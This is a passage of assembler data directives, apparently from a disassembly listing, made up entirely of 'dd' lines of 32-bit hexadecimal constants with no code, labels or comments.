		dd 0E7695C8Fh, 3B081ACh, 2947A312h, 0FD45288h, 0ACD3C39Ah
		dd 32FDEE61h, 6136D82Ah, 259CAD02h, 56684FF4h, 0BD3360DEh
		dd 7B952FC9h, 2702AFB1h, 0B4021CDDh, 45E05771h,	460785A3h
		dd 1BBE91Dh, 47B7570Bh,	0D3697383h, 5E92EA52h, 8FDE27DCh
		dd 0ECA802F6h, 60267497h, 6F27F75Eh, 7CEB60EAh,	60238B7h
		dd 2D7BB8D0h, 0F2CC75ECh, 75D90997h, 6F3D586Eh,	27F55D89h
		dd 53E85C19h, 8B1E11E1h, 0C004460Dh, 825EC035h,	0F96BB358h
		dd 9812F0EEh, 0F19D2581h, 32C487E6h, 8AAE337Dh,	0C8097CE6h
		dd 0E0477F46h, 9760EEF7h, 0B7E05E5Eh, 941D11h, 6A33FBD8h
		dd 0FC3BE15Ah, 2DBCD63Dh, 17AC413h, 72AB6249h, 0C0E35EDFh
		dd 2A00F2CFh, 6D6719ECh, 705F04B9h, 0BBBBC98Bh,	8DC9370Bh
		dd 60097FCFh, 0F21B9B5Ah, 5296908Ah, 1333FB5Bh,	459EEE1Eh
		dd 0B9D7694Fh, 376704ECh, 26ED8D6Ch, 0CA8ECFDh,	8473AE01h
		dd 29484D38h, 27FFA26Eh, 30F190h, 234222E7h, 0D095BBF9h
		dd 2D114427h, 9EC8F700h, 5899C50Dh, 55630017h, 0F3911344h
		dd 50288247h, 61EE885Eh, 6D6E905Fh, 65EB5400h, 0C079C972h
		dd 8529BF04h, 0B4ED2C59h, 0B757F8C9h, 8C56AF67h, 0A83DD5A5h
		dd 5424C25h, 0CD098859h, 8D30BF40h, 4A999529h, 9CA4E30Ch
		dd 25ADC4ADh, 90D57FABh, 434D9D8Ah, 0BB02BB19h,	163BFEB6h
		dd 0A83E02D8h, 0EC479DDh, 0CBABB8D7h, 4951377h,	6B00507Bh
		dd 6EE34C52h, 0DD2F3561h, 29CF505Ah, 0EFB8195Dh, 3D7D04A9h
		dd 4E422737h, 1C5581FEh, 0FA4E546Fh, 0F33F0512h, 81824AC2h
		dd 0E7CDF513h, 34201BE5h, 5E4B7C7Fh, 60B9D2A3h,	0FF2E3466h
		dd 0FE1C50F8h, 237DC380h, 0E2095CE2h, 0A195198Bh, 2F618432h
		dd 7B9EBA36h, 8D8980E9h, 5849FA95h, 5C0BD50h, 315C2AC2h
		dd 40077EB7h, 0EBF7F614h, 0D7381E09h, 37ECABB9h, 67C580E3h
		dd 5DB46C89h, 0E8D17208h, 48798906h, 80AF437Eh,	0CD27BFACh
		dd 0AF2C4A22h, 161E0D67h, 0B57228AEh, 0C90D8121h, 8C53367Bh
		dd 9AD79FBDh, 44C892EAh, 73B72CBDh, 5E1C111Dh, 2F00D2E2h
		dd 1709120Eh, 0C0000C5Ah, 276A3E48h, 1F14371Fh,	27D82FB8h
		dd 5727A3F6h, 0CD750B1Ah, 61156438h, 132F7451h,	4FD9B2ABh
		dd 5E0096ECh, 57DD60E4h, 6AEBA0F6h, 9ECEB420h, 75F4BBh
		dd 0D285B7BFh, 0F2A750C4h, 8207B204h, 0CFE245BDh, 5CB4AD00h
		dd 8170C29Bh, 0BA47D43Ch, 26468972h, 499FD761h,	25801A91h
		dd 0E91BF726h, 8017BFEAh
		dd 0FF04F6EFh, 0E8BC305Dh, 0A8FCADB5h, 1B3802D2h, 0C4DF8088h
		dd 0C868E95Eh, 0BF56603Dh, 5A61EA3Ch, 0B269E673h, 30093015h
		dd 0A7ED1097h, 82C84866h, 0FFAA1E00h, 3985018Ah, 0DF5BDFC9h
		dd 164571CDh, 0CFCD3820h, 4CE09759h, 96383138h,	5395FD50h
		dd 0B5102514h, 7EF2D9FCh, 200D7C7Bh, 266191E6h,	0F67DAD2Ch
		dd 8FEDB796h, 0DAE4DFC9h, 3058C29Dh, 2DBD89A7h,	987B174Dh
		dd 94B65792h, 8A39902h,	0D75E5F33h, 81104351h, 0CB09F5EFh
		dd 71962C5Eh, 3658008Fh, 3D0438A5h, 6450152Fh, 0FDC700B7h
		dd 9A87AC51h, 5F09FB74h, 0CD965093h, 4903C230h,	66C11A5Eh
		dd 53E11BFh, 0B92F2D37h, 0B274E8BDh, 4B5E29D8h,	0FDBB8431h
		dd 0D34ABD0Bh, 8389B89Ah, 62453579h, 0BAEC5DE9h, 46CCBF4Bh
		dd 0C71044E9h, 7DB0587Ch, 83AE9C1Ch, 0D29200BCh, 1AEFE4BBh
		dd 1B6F95C6h, 7AB77E40h, 0C01B2CF0h, 0C4D6258Dh, 0F60E5EA5h
		dd 22021746h, 89376F0Eh, 76DAC9C2h, 0B0F1084Ah,	0B6F02936h
		dd 5B05B02Bh, 0C1F3AB69h, 6F3E37ABh, 1322FC12h,	9AAB5FF8h
		dd 0A6D89685h, 0E84011A3h, 2AC60011h, 2E301A78h, 8DAD0098h
		dd 7BDAD783h, 6C242387h, 25006376h, 60905F9Dh, 0BA824E0Fh
		dd 0EE61A928h, 904D2DB7h, 0E370DA7Bh, 5DCE84Dh,	26B1F030h
		dd 0BC45C4DBh, 0C8F8D673h, 0EFD2DECFh, 0F382B1DBh, 0E9DF3B34h
		dd 0A940B17Dh, 9F49EA28h, 85806937h, 67AB1D3Eh,	29F51C5Fh
		dd 0C94BB895h, 0DB6C8488h, 78C2635Ah, 1885F735h, 0CF7BE50h
		dd 6ECE15A1h, 8709FE89h, 4AF19660h, 0A288BC18h,	0F4C6FD8Eh
		dd 0AECA67B5h, 0B801D4BFh, 0B529D1FFh, 0F32A0D5Dh, 0A86C8896h
		dd 0C1D95E99h, 6A026A47h, 0A009BD6Eh, 0CA70DDB2h, 84BFF0D3h
		dd 0AEA82469h, 0E500B96Eh, 62EBCBB5h, 0B16DF85h, 0C464D89Fh
		dd 7D9296CCh, 3FA60336h, 4696EE60h, 1CD7EDF2h, 0EA322069h
		dd 8D0B6012h, 0FF745BBh, 10A4C989h, 27F1182Ch, 0EB9A6C01h
		dd 61B05A33h, 81AE302Eh, 46036FE7h, 0BF5062A1h,	681991EDh
		dd 0B3EBE77Ah, 0D00604CAh, 0AE569E5Fh, 5CF97F92h, 0A5D8CBA4h
		dd 8BBF1161h, 0F22A61F1h, 0E9E69616h, 77956A0h,	70989325h
		dd 8ED125B1h, 6D95BBCEh, 480740EAh, 0B518CB7Fh,	0F35A1451h
		dd 6A910473h, 0ADBD01FFh, 17A44C64h, 3BAD11C5h,	519D49E8h
		dd 25FCA8F6h, 95C5088Dh, 0D8FCE813h, 7A1DABD6h,	0B970E60Ah
		dd 0DBCD812h, 14578325h, 95C0B0ABh, 66566CBAh, 0BAFB4E31h
		dd 9184332Fh, 0D98ADD16h, 4BB1C12h, 1201957Eh, 0E1F1C5AAh
		dd 8FAF2828h, 6BE2D2A5h, 0BAB4884Ah, 0E3BBAF00h, 9116E14Fh
		dd 34B60198h, 0D19229Ch, 53AC3F06h, 0B78E2B31h,	0F7932BDAh
		dd 6A4BD4C1h, 405238F4h, 0B6200904h, 4C448E41h,	9D2B5F20h
		dd 57822425h, 2EDF0139h, 62DA7076h, 36E92F39h, 12550B8Ah
		dd 4A70E70Dh, 8A216AC8h, 6756A96Ah, 95BC84C9h, 0E9BD2B41h
		dd 915A3E16h, 0EAB855A7h, 4A8368AAh, 0BE09AF78h, 3737D56Ah
		dd 44352F8Bh, 2BFF0EF8h, 0AB5202EBh, 0D10C14CDh, 0B69C0E08h
		dd 2820D420h, 973F7317h, 1D865100h, 0A5D089E3h,	0B9F61752h
		dd 0F2BF5829h, 37B7FCE1h, 8D8138B7h, 67BB6649h,	60E66A95h
		dd 71E796F0h, 0A9F58A25h, 0DEC576BBh, 0C9B87E97h, 96FEE8Ah
		dd 79710725h, 5C35A5h, 0F16F7895h, 0BB0F484Ch, 92055674h
		dd 15FC1ABDh, 645C018Ch, 12C8BCBFh, 41B88B6Ch, 4214D733h
		dd 2D460BCh, 3603DDF4h,	10D0C62Eh, 619D224Bh, 0C56F132Eh
		dd 9B3FAB71h, 0D9EFB715h, 0E401CDBCh, 0C10FCBC9h, 98AD90E1h
		dd 20CEA90h, 0F8A5F600h, 3D07F3D1h, 0A7CD01A6h,	335250A9h
		dd 34282E13h, 0F610BC85h, 10CB5C05h, 0CCEA5BBDh, 3FE1B852h
		dd 0E6C0D99Eh, 67661CD9h, 64CFCDB5h, 6FB66017h,	0B9264AAFh
		dd 2F1DC4EDh, 993F8324h, 23ACBD5Eh, 0D35769B2h,	0C0FCD0EEh
		dd 53A45800h, 813C87EEh, 0ACA03BC7h, 47C57EA5h,	0CF044E09h
		dd 0C0BE401Bh, 0DFB03360h, 614BE392h, 0E634668Ah, 0D49BBA56h
		dd 4E7E9CC0h, 601C644Ah, 628FDF81h, 63E11282h, 12A3F7E4h
		dd 0FA3D4176h, 172B8289h, 839D9B3Eh, 1DB7547Bh,	6585CAACh
		dd 0F5407B5Eh, 2B351Fh,	0C89915E9h, 0BA29160h, 5602F000h
		dd 0BDF6D4BBh, 0BC5F4E11h, 15A8419h, 0CBA091E7h, 462D47A7h
		dd 0A9FCC11Ch, 0BDABFD2Fh, 26E4623Eh, 3640D87Ch, 3F72CBh
		dd 0BDCDB45Ch, 0F84CEEF6h, 41825F4Fh, 4A965709h, 42E64DB7h
		dd 59F56143h, 0DE4926B3h, 0AE26A47Fh, 762F026Bh, 0FF5BA740h
		dd 0A7CFD0h, 0F6D2AF9Bh, 80F986F5h, 0EB43BB00h,	0B168570Fh
		dd 8AAD25DBh, 4EC5A0FFh, 97757128h, 1F12CA37h, 8107BFA3h
		dd 0D4C420EBh, 0C39AB85Fh, 961B509h, 1DAE9DDh, 853D5Dh
		dd 0E583FB08h, 2E133BCBh, 71FFAB31h, 432D5B1h, 5C53E2FAh
		dd 6F85164Bh, 0C6EC69BDh, 32823A13h, 0EF00D6BCh, 0ADB7082Fh
		dd 0ED951BB3h, 606D68A6h, 9953A533h, 212DEE04h,	0AEB99AD1h
		dd 0E821A95Bh, 33EE12A7h, 5BD98257h, 954FE6DFh,	0F9B7D7B0h
		dd 64D20F97h, 0BF2804F1h, 0C182C009h, 4A02443Bh, 9283E3C6h
		dd 0FAEBCCEFh, 10D872B5h, 22B59Dh, 2EB86050h, 7E7A55DFh
		dd 4AD5A60Fh, 2B9FF5FDh, 952A93E0h, 14E47CEDh, 0C0D97C62h
		dd 2B192800h, 0ACB4BDh,	4A8ED918h, 0D7768A4h, 0E44E132Dh
		dd 0C510073h, 782F5881h, 18004229h, 0C11BCF9Fh,	25C72675h
		dd 947AF40Dh, 0C0E8800h, 0F741BF4Eh, 8D1E252Bh,	0A3F5Dh
		dd 2F1BEDDEh, 514A0E65h, 41AC88h, 0D339A5B1h, 0A3C76CE2h
		dd 0CFA0DCE8h, 0EA002305h, 5F861CF9h, 0A6850F90h, 31F09FAFh
		dd 6D4DBB1Fh, 0C2A37CAFh, 0D35D319Dh, 0B52EBE88h, 0F96145D7h
		dd 1209B8B7h, 0E3940A66h, 6C6BD3AFh, 0F564FF4Fh, 2438AAA1h
		dd 42F48A4Ah, 714250FCh, 29E981CAh, 0DF3A5C27h,	8BD20260h
		dd 0E6891D11h, 0FFD956F8h, 5C1A971h, 0C871F907h, 9C506B44h
		dd 8E014B7Ch, 13582AA3h, 5429C12Dh, 98485259h, 8B4FDB9Bh
		dd 0AE4853EFh, 0A6BB1D24h, 2679F0BCh, 3E7B0013h, 9E8680BBh
		dd 0EC955363h, 0BFB32536h, 0FBB95CC6h, 3D660200h, 68030Fh
		dd 0D32DC097h, 8F775196h, 2577EA77h, 0B337BF1Dh, 57501D47h
		dd 6EE45D2Bh, 748C89BFh, 0CF25DC84h, 821851C9h,	1CA98501h
		dd 54909F94h, 0CE23A125h, 0A8035A4Fh, 0B529811Ch, 0F63A1881h
		dd 3017F2BBh, 6426126Bh, 8609142Ah, 0AB5C7344h,	51B25843h
		dd 0E09DB05h, 9AAB0CC4h, 2818CA98h, 35EAD74Bh, 124D2EC0h
		dd 0D8EB329Ch, 0C953BD60h, 1C105D8h, 0AB73E3BFh, 6F57B56Dh
		dd 4BDB16DCh, 0D7379E5Fh, 0F9E262FBh, 0F8355B75h, 5C018234h
		dd 0DE07FE29h, 0D82C49A9h, 3E37B1D2h, 0BB00017Bh, 0C0868A5Bh
		dd 1E2EA202h, 9D0B1BD1h, 0B2199361h, 0DF154695h, 5A09A67Eh
		dd 865D4C0h, 9F0464BDh,	1A647B6Dh, 1F62AE64h, 87DB7550h
		dd 52DA8D0h, 99B5016Bh,	895F6010h, 234B2D95h, 7D511E9Ch
		dd 0F216231h, 17D4605Bh, 19190508h, 20DF68Bh, 0B7284061h
		dd 0BC584ED0h, 7CABB747h, 3300F6AEh, 0B30C7B29h, 1F814CFBh
		dd 8055AFCBh, 505B572Dh, 90AADD8Ah, 3822B75Fh, 0E0FE17BFh
		dd 0D5B94F3Dh, 511583D6h, 1BB012E4h, 9D265185h,	0E56AF76Bh
		dd 2F8A3EEh, 4CB602BBh,	0DE355701h, 17861591h, 0E312AA82h
		dd 5F04EB9Eh, 0E2BA14C9h, 6203AC38h, 2FFD5222h,	959ACE77h
		dd 0DE419B9Ah, 560DACA9h, 1298D5C9h, 0CB12A3BBh, 96E25D52h
		dd 7E22738Dh, 79F020B6h
		dd 0D048EE32h, 0BC510E3h, 9DC6024h, 38D714A9h, 0EC18B956h
		dd 0BD61F8E2h, 2F51EB60h, 0DE257C9Fh, 4B3C9800h, 67209FE3h
		dd 0E78105FAh, 0F03D64F1h, 2816CBA0h, 0B6F2C61Ch, 447AAB4Bh
		dd 1E08604Ah, 9972FE9h,	72BF539Eh, 2FAF5177h, 4D33A790h
		dd 6001A17Fh, 0B52EB7C2h, 5026C18Bh, 2E62DDF1h,	0B790BC30h
		dd 0ECCBB773h, 1A79FCBDh, 896087EEh, 956E5F31h,	7F37F002h
		dd 81800720h, 0D5784BF9h, 526D4D20h, 0BB1FDE01h, 3D268C4Dh
		dd 0F93EA670h, 0C55EEE49h, 9FFEA9Ah, 0A8B70553h, 7DF0AC85h
		dd 0B9F513EFh, 61851DD3h, 8942421h, 80071FB9h, 7DBB4AD7h
		dd 988185B7h, 0C4BBF2A6h, 4F51C230h, 0AFFE17F9h, 71614749h
		dd 9E7A451h, 0CDD529D1h, 6018C501h, 0AA49B4D9h,	8B72E026h
		dd 16AE9B16h, 0C46FE9h,	7ABDE963h, 25D583BFh, 71C53C71h
		dd 0E87E7916h, 0EB100900h, 84C5C671h, 31E69A7Ah, 8ADBD10h
		dd 81026A00h, 49CEB7EBh, 0BFB8554Ah, 0CE5640CBh, 0D593F240h
		dd 0E31115C5h, 2917F1DDh, 4753BE85h, 0A63BEF29h, 0B20A7E0h
		dd 308D099Dh, 0E9481E31h, 16970C63h, 0F9B0207Eh, 316D2AA0h
		dd 406E6FBFh, 0A0DC215Eh, 6C1BCC0Eh, 0BF87C02Eh, 0B06AAB97h
		dd 0B38A5BE0h, 0E7E30908h, 0BB5D727h, 7F8C1491h, 8BBEB1BAh
		dd 6F2A25A8h, 5258ACCBh, 262916B4h, 419C2DAEh, 2B2CF567h
		dd 556F318Ah, 898AEBB2h, 5F46A5Eh, 0BCC2AF0Bh, 0A3AB4085h
		dd 8BF101C2h, 0FF6A56E2h, 61F3E026h, 3A6EDA98h,	17C49A58h
		dd 7AFB22EDh, 67524A69h, 71E94FC7h, 1274293h, 3D120209h
		dd 44AFF621h, 0ACB00A29h, 928E588h, 22C470E6h, 45165B7h
		dd 0FA46AF8Fh, 0C52A92C9h, 425C822Dh, 0ED91A95Ch, 38BB24Ah
		dd 8FFC6280h, 989BA099h, 0BFB31290h, 41BAE1E5h,	2A1F45A7h
		dd 825F6CE6h, 0C4552E49h, 25AC906Ah, 0ABC4109Dh, 9382F94Bh
		dd 207B7581h, 0B746C080h, 902052h, 4E63BA2Bh, 49E52995h
		dd 0D18B1916h, 3DF788h,	0A9ECDA1Eh, 0A4F9A27Fh,	8B386200h
		dd 0D43EAA47h, 4AAB055Ah, 27FE9DFh, 867EBB4Fh, 0B0F4907Dh
		dd 0CC6A0315h, 396BD6A5h, 50003BEAh, 447554Ch, 9D1F03BBh
		dd 5BC3B872h, 0C21E37ABh, 71552001h, 0F811411h,	12D37D75h
		dd 0E443CA41h, 1DAA10D8h, 0E98CF0D4h, 9BB1730h,	7D3DC399h
		dd 42ADD771h, 0A053D58Bh, 0B98D8982h, 44145707h, 60040DA2h
		dd 84D2B9FCh, 0BB0078D3h, 44F38E1Eh, 0F54A0890h, 4AC16BABh
		dd 62D5E298h, 0ACDDA61h, 0ABF7B902h, 32805EECh,	841FCC4h
		dd 0E90EC619h, 69607460h, 617218FFh, 20C05B2Bh,	549ED17Ch
		dd 80972800h, 72A9C942h, 51C60045h, 8A60FB07h, 0D701819Dh
		dd 78B5D492h, 2643BA5Fh, 7D7625F8h, 0BF552009h,	8F1D9102h
		dd 2AFB8001h, 12A67B5Bh, 0EA7233A3h, 30D0CB27h,	1E2F6D9h
		dd 0EA853F71h, 7BE6A3EBh, 0BDC257FCh, 5B002F59h, 4BAEF81h
		dd 0D481F52h, 4F918A88h, 21C270EAh, 29139B59h, 9AEADFF3h
		dd 0A47392E7h, 0FACC0E3h, 53D40098h, 0EBCE8160h, 6709D727h
		dd 0A2219D29h, 555B6159h, 0AE40F895h, 2420C59Ah, 121EC04Dh
		dd 0EEF98499h, 2FAB6334h, 896A4A04h, 0AF06A316h, 25D733D8h
		dd 0AEC5B934h, 0BC504C11h, 81314079h, 51D0DB03h, 50B84ED1h
		dd 1289E421h, 0EB387DA9h, 90C56A9Fh, 10F2BAAAh,	244ABF00h
		dd 0E1FF0223h, 0C42763B7h, 0AF9B38ABh, 282EFC89h, 1CD3BC4Dh
		dd 2E6FEEh, 39F7A4ECh, 0E0F2DD9Dh, 66C53704h, 0CCDF4BF8h
		dd 8ADF4B30h, 9647225Ah, 0B051070h, 79CDC380h, 13C080C3h
		dd 212B4D6Dh, 0D7ECA774h, 0E4EA9400h, 0BFCFE7Ch, 540997BAh
		dd 0AF007644h, 4BB1CF15h, 95EDD846h, 0DB208A56h, 56825570h
		dd 0FC05901Eh, 68008C1Ch, 5E6D8AD0h, 0F225C561h, 0A4FE39BFh
		dd 3B33709h, 457D6D55h,	0ABB3641Ch, 8E3A9161h, 103A207Ah
		dd 0C30E201Bh, 0FD385111h, 0B83FAE81h, 0E66AFC30h, 0FABF1764h
		dd 92019DF3h, 518C821h,	0B6EF04ECh, 61CE0A0Bh, 0B5DE8A90h
		dd 5F4B2A54h, 75A4AF89h, 0CB090E30h, 4C39D6B9h,	6805FB6Eh
		dd 0D96C4639h, 832FA2ACh, 32BCACD1h, 2005A231h,	70364ABBh
		dd 9CAC7A5Eh, 0B2BDC680h, 0E5E90126h, 18292A10h, 8F02FC2Bh
		dd 61948BDh, 0F901A9E9h, 0D541BB25h, 59DE428Bh,	0CDB901F6h
		dd 3728F4F0h, 256623A7h, 0CC945713h, 38D3B93Ch,	2AF9185Dh
		dd 0B52CF19Ch, 10BD85CEh, 7C3D5Ch, 143A2881h, 83A89E7Dh
		dd 2540F69Fh, 0C09FCE46h, 9525DC18h, 8283AA9Ah,	0D5A0B29h
		dd 0F86F8599h, 8E5D951Dh, 5235CB31h, 158C49D6h,	0A458F989h
		dd 70D9F397h, 492445B7h, 83676AB9h, 56A42D10h, 0D25A0005h
		dd 2C8061B3h, 78BDA375h, 9615403Eh, 0E6E49Dh, 0A40EA9DDh
		dd 5A8B6DB9h, 8399801h,	35D94156h, 0FD6BEC40h, 96502D5Bh
		dd 8400F637h, 0E6578DB9h, 0CD4E4A6Eh, 0E5D801FBh, 58680011h
		dd 0FB4A2766h, 0F00DE51h, 0F71D320Eh, 0D02BE3B8h, 0D49DA706h
		dd 4BEB4CEBh, 74168A00h, 0A46055D7h, 116EF19Bh,	5B2DBC5Fh
		dd 0BDD6285Ch, 0CFE78330h, 2A1E7897h, 15250DEh,	76FB2DB8h
		dd 542EF45Eh, 1ED9FE0Ch, 7ABEA401h, 278CA92Ah, 2435F8B3h
		dd 52B809A1h, 0E6380BD7h, 0F38105EBh, 0AAC7C6A6h, 0E34FCFCEh
		dd 0B5A94E1Eh, 0B866FDA5h, 73E4003Fh, 0E69CCEBFh, 236FE933h
		dd 11B3F421h, 0A84A25E5h, 0E3D0EBCBh, 49B8CE00h, 611C9C68h
		dd 35E8B0A3h, 0D6A005CBh, 94952DF1h, 0B5C0749Eh, 0B31A18C7h
		dd 6988041Bh, 2420B7EFh, 53A5F8FCh, 214D9C05h, 40FCCDC9h
		dd 0A5A197CFh, 31A6A902h, 0D57BBAD3h, 1591A7B5h, 87ADA785h
		dd 69B81072h, 6D26A288h, 10601F61h, 476C62h, 725ECC75h
		dd 0B1A3EC54h, 6BBCF700h, 0C58E24BBh, 945B4E65h, 0C0E5DB01h
		dd 0A9AA98E5h, 0EDA60BDDh, 42E58D73h, 596C650h,	51D1662Eh
		dd 7909BB78h, 0ADCA5B11h, 0ACD5A82h, 0C780D2B0h, 0A3CCF94Ah
		dd 0E19D1231h, 1970AB02h, 12C0D781h, 0DA07E515h, 0C018C82Eh
		dd 0E5252F5Bh, 7751BD2Ch, 565F4FB2h, 544D278Ch,	9C6712C0h
		dd 1EDBE6E7h, 0E82F6977h, 1CEA9588h, 0B9AC1FEh,	5F5FA972h
		dd 0EA4892EDh, 0C53C2E0h, 0B61D0EEBh, 0C97351E7h, 6190E4C1h
		dd 0F29EC700h, 27A3FA43h, 1EA7707Eh, 0A73302E3h, 8A507060h
		dd 61ACDE4Ah, 0C031DBD6h, 70BA460Dh, 42DB68A9h,	0EF938E46h
		dd 0ED1DA040h, 7D3A2298h, 19B1810Ch, 0F385CE32h, 2F374621h
		dd 910527F0h, 4BAA8B5Fh, 31FDF928h, 31B88590h, 22C99624h
		dd 8C8D0050h, 5C78CC2Fh, 9E7E4CFFh, 7A642200h, 76AD636Fh
		dd 61C80E8Ah, 0A2B70F96h, 0A80210Ch, 4962C0B7h,	9800EFC4h
		dd 0FD50DA2Ah, 25316CB4h, 1AD58739h, 0BD3EC48Ah, 0C2E2CCD1h
		dd 51865629h, 0EA2B132Dh, 6006D835h, 13F20EBFh,	4DEE5696h
		dd 187E2D05h, 4940505Fh, 0D659F2ECh, 68950637h,	0DA254A69h
		dd 89AD855Dh, 55B456DAh, 0A0E2A90Fh, 636955E3h,	0BD030B75h
		dd 0BA5524D1h, 0C1FA40D4h, 10FD8221h, 2158573h,	29A520EDh
		dd 7870559Dh, 39AA5F4Eh, 506E7A45h, 0F7004448h,	33C57F02h
		dd 1209D381h, 596F8462h, 29624B2Bh, 0E2AFEDF5h,	0A9C0907Fh
		dd 0D6256B75h, 9D1566E1h, 22C6D505h, 3C554DE9h,	0D4C2BC94h
		dd 0E1C98A03h, 0BBB7EE08h, 0FFF499E9h, 705B7BC6h, 8B25F823h
		dd 0D2B7C1h, 6D55AC6h, 0B52CB6ABh, 0BD04045Eh, 29052271h
		dd 85D5EF95h, 0D7839AAAh, 3A7718D8h, 32484DF5h,	0AB2A2D13h
		dd 0BF312730h, 39123BEAh
		dd 0E9B2E15Fh, 90041784h, 216EBFh, 0D633271Eh, 13CB259h
		dd 93BBD425h, 842668B7h, 7D9D8B52h, 39C499BEh, 13FCA8CBh
		dd 0FF8589D2h, 2D8C8588h, 9EB74A08h, 0BE47258Ah, 0A5325E2Fh
		dd 0E35E6E42h, 8EF800DCh, 13872B7Bh, 7517B7CAh,	40FF8D89h
		dd 47B3BF86h, 0C5AA4946h, 7469055h, 83F500B5h, 5BE3673Fh
		dd 0D8023412h, 2B7F681Bh, 60DA846Bh, 0C680F9FCh, 93BCBFB4h
		dd 6E3DFF00h, 0A4A0849Bh, 1127DDBh, 0B19D05EBh,	4D615850h
		dd 601F02F1h, 0F40035F9h, 0CCD418C1h, 485200EFh, 0F41B4C0h
		dd 37959061h, 0CD870094h, 1B250D7Eh, 83CE70Bh, 4BE5CE3h
		dd 0AB6A85C0h, 57C3AFDBh, 3BD1FC89h, 475DE029h,	0F8F7AEA2h
		dd 0ED6A4BB6h, 1876BCA2h, 0A454A55Ah, 65B5F3DBh, 517B27CBh
		dd 20B7F053h, 43E4044Fh, 99BBF144h, 2BE16B7Fh, 0E1335CC2h
		dd 6A8BD1FFh, 707C70B3h, 68679541h, 8B3E6811h, 9A326590h
		dd 6608095Eh, 299F0138h, 6B48032Fh, 0C2992EBBh,	0B0721310h
		dd 85B209F8h, 200975EFh, 60513C68h, 0A99FDE98h,	0BC4DF9Ah
		dd 18B2614Bh, 0B81D06ACh, 67E5E921h, 139612E6h,	14CB7AF4h
		dd 4FA9990Ah, 9A929495h, 0BE3DD713h, 0A09BCA00h, 0B892B95h
		dd 7568608h, 2794EC5Fh,	0F5542001h, 4B0DE9E3h, 0C039EC23h
		dd 39D258EEh, 0B66312A2h, 128EF250h, 39AB0CA5h,	85351073h
		dd 7BB7188Dh, 0DDA51D24h, 0AB59C0FBh, 90B7E403h, 0C7C93801h
		dd 56D950F6h, 0AD93A93Eh, 1F00603Bh, 8E09BCECh,	716B3FD7h
		dd 0BD0B8527h, 6AB74F31h, 92F78BABh, 7167C03Ch,	915C9524h
		dd 0ACF75EDEh, 7C57E2AFh, 1E7908B5h, 4F07FC12h,	810BB0F9h
		dd 3538D8CBh, 1270E6F4h, 0EEB2EB80h, 71E4F931h,	4B2A4A71h
		dd 7476F7CEh, 31FDE7E0h, 486E12D8h, 2AC9B1ECh, 0B0C1808Ch
		dd 0B512E2BAh, 0F1672454h, 77D4C99h, 0C6084992h, 11CEB0FEh
		dd 0D0097C36h, 0D503F71Eh, 65207A64h, 17295C49h, 8B061120h
		dd 0A7E9F5D1h, 0E2A964Dh, 44044E49h, 28A260h, 23705426h
		dd 6CBB67h, 5F142E68h, 3B5958Bh, 0C06E23BFh, 719DB907h
		dd 9226A86Ah, 89239FA4h, 26E02A52h, 605F8015h, 8130D99Dh
		dd 0E13B4BBFh, 0CFB0EF54h, 5760E961h, 999D011Dh, 896E9509h
		dd 7090BE82h, 951A8956h, 545F1961h, 523444BDh, 7D0041B2h
		dd 0C47159A7h, 0EA00E7A9h, 3E20835h, 42B580Dh, 0F68B7982h
		dd 93D0AD7Ch, 5539F409h, 98139B92h, 6CFAB025h, 88CA22D8h
		dd 0B226F476h, 7527AD14h, 3DFD1B0Bh, 0CB17015Eh, 8BADB00Dh
		dd 5409B550h, 0DA50E9EDh, 979EB977h, 50D0092Fh,	0BBF972E2h
		dd 432B789Dh, 0D695C0E4h, 0B736D6C0h, 4A9C76A9h, 0A882ADF8h
		dd 0F0038C1Ah, 0FC8D7CE9h, 0B70FE820h, 7E5BB5FEh, 0E2B339FAh
		dd 16E3DBC8h, 0B98D092Fh, 52C948EEh, 880D1237h,	48C46CDEh
		dd 44A0FFCFh, 0D23CEB76h, 162124DDh, 0A860EB1Fh, 74E7AED8h
		dd 0D9464C19h, 4A0D6D10h, 3F66E798h, 0CBCA51BBh, 796AD7BEh
		dd 48BF9C17h, 21422334h, 0FF477505h, 0F485F11h,	0AD115512h
		dd 5145924Dh, 0DAAA48CEh, 0AF98D22Bh, 511A69B8h, 0D028E09h
		dd 67D52A55h, 0EDF3E91Ch, 0CEAA9913h, 4BE93138h, 282BA4B7h
		dd 1ED2F5D3h, 31CF539Bh, 0AB89BBD3h, 62F7B32Eh,	5D108118h
		dd 3A6F8F51h, 15B856Bh,	77CF6E97h, 7130FFD9h, 4912D85h
		dd 0B3E735A1h, 0CA002B93h, 98EF5DBBh, 0C1899555h, 54EA9A5Fh
		dd 0D24B90C1h, 98A858ADh, 1E9AF05h, 0B5842BC1h,	9A4A8EE8h
		dd 0C016C8BCh, 31FBE60Ah, 79F58D5Ah, 10F00740h,	0FF654FE5h
		dd 0D94ABD6Ah, 26E3E89Fh, 0F6A95501h, 7059532h,	1761EC3Eh
		dd 49AB7CCEh, 0E8F70129h, 178F689Ah, 82547C7h, 0B38B02B9h
		dd 1FF5F012h, 0EF58C470h, 0E6C2FD4Dh, 273D58C0h, 0B5FFAACBh
		dd 0EC302720h, 0B93B8E06h, 933007A7h, 4890EF81h, 12602D23h
		dd 89B5DB80h, 4EE67BF6h, 5EC88B04h, 0DEDAAC61h,	0FA2AEFECh
		dd 1E6E91Ch, 0DE07DC2Fh, 3349BF00h, 0D08BD3B0h,	0E22C2FB7h
		dd 22401BD0h, 4ADDEC0Bh, 4B77AA01h, 818F9C2h, 6DD109D4h
		dd 82A5D259h, 5686B52Eh, 0CEF2FC4h, 0DAEAFC64h,	0C01CC84Fh
		dd 0F50B0D3Ch, 0B31C797Eh, 7CC57B73h, 0F7EE800Fh, 0B2510030h
		dd 872F2DA4h, 8B6800E7h, 0B440D97h, 0CE2DCB02h,	10335889h
		dd 4B059DB5h, 26BF1490h, 76C825C0h, 1E2B55Ch, 236C7504h
		dd 4D4DDBEh, 97F3B5Ah, 0E6D0AA9Dh, 1366BB96h, 0AB396D44h
		dd 82BF2F02h, 9794234h,	0FB607F67h, 0B30F6335h,	0F44E80h
		dd 89431738h, 5A5F0970h, 35F9661h, 5E16DDF7h, 0BF0E12A9h
		dd 0AC3A7C9Dh, 5760F24Ch, 0DD685E90h, 0D0BDEF00h, 54232FC9h
		dd 0C432015Fh, 6160A830h, 0E4A96058h, 71BD7876h, 5F0788DAh
		dd 98C92434h, 135438ECh, 0DB58216Ch, 0EE33807Fh, 1E87B0A7h
		dd 41A61B5Eh, 59DF817Fh, 2E26F1FEh, 0B3902830h,	575027D3h
		dd 0FC09C62Bh, 0D2818FF7h, 231F6BABh, 42823E18h, 603FFF85h
		dd 0B75A340h, 1CC78188h, 7061173Ch, 0E9CFBB80h,	5B44CC1Ch
